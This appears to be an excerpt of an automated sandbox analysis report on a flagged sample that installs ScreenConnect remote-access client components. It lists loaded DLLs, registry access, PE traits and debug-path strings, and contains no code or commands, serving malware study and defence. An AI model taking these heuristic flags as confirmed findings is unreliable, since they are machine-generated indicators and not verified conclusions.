Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: dfshim.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Section loaded: profapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020420-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Reads internet explorer settings

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Uses Microsoft Silverlight

Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

PE / OLE file has a valid certificate

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Static PE information: certificate valid

PE file contains a mix of data directories often seen in goodware

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

PE file contains a debug data directory

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe
Source:	Binary string: (}C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb@ `5M source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.00000000007FC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @(o.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1445536244.00000000050DA000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.ClientService.pdbJ source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\ScreenConnect.ClientService.pdbpdbice.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: ScreenConnect.Windows.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb1 source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.ClientService.pdb8 source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: %%.pdbnt( source: ScreenConnect.ClientService.exe, 00000005.00000002.1445536244.00000000050DA000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERE665.tmp.dmp.8.dr
Source:	Binary string: \ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: ScreenConnect.ClientService.pdb8 source: WERE665.tmp.dmp.8.dr
Source:	Binary string: ScreenConnect.Core.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.2709412544.000002728079C000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280238000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280610000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496697785.0000000000D20000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496898405.000000000288E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000005.00000002.1444630870.0000000000BE2000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000005.00000000.1105925658.0000000000EED000.00000002.00000001.01000000.0000000A.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.Core.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdby source: ScreenConnect.WindowsClient.exe, 00000004.00000000.1097848481.0000000000352000.00000002.00000001.01000000.00000009.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000004.00000000.1097848481.0000000000352000.00000002.00000001.01000000.00000009.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.2709412544.0000027280088000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496639128.0000000000CD2000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERE665.tmp.dmp.8.dr
Source:	Binary string: o0C:\Windows\mscorlib.pdb[!x source: ScreenConnect.ClientService.exe, 00000005.00000002.1445536244.00000000050DA000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb;?*b source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1445536244.00000000050DA000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdbRSDS source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.pdbl source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: ?(oC:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbT source: ScreenConnect.ClientService.exe, 00000005.00000002.1445536244.00000000050DA000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: ScreenConnect.ClientService.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.ni.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdbRSDS source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.Xml.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: oXC:\Windows\ScreenConnect.ClientService.pdbx source: ScreenConnect.ClientService.exe, 00000005.00000002.1443855463.0000000000558000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.2709412544.00000272807CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280522000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.0000027280234000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.000002728060C000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000005.00000002.1445175509.0000000004B22000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: mscorlib.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.000000000075E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\ScreenConnect.ClientService.pdb source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.2709412544.0000027280614000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.00000272806D5000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2709412544.000002728023C000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000005.00000002.1445573934.0000000005112000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdbd8m source: ScreenConnect.ClientService.exe, 00000005.00000002.1444325212.0000000000797000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: symbols\dll\mscorlib.pdbLb source: ScreenConnect.ClientService.exe, 00000005.00000002.1445536244.00000000050DA000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: dfsvc.exe, 00000001.00000002.2709412544.0000027280088000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000004.00000002.1496639128.0000000000CD2000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: System.ni.pdb source: WERE665.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERE665.tmp.dmp.8.dr

PE file contains a valid data directory to section mapping

Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Binary contains a suspicious time stamp

Source: ScreenConnect.Core.dll.1.dr

Static PE information: 0xA383EAF1 [Wed Dec 6 12:32:49 2056 UTC]

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

0_2_00761000

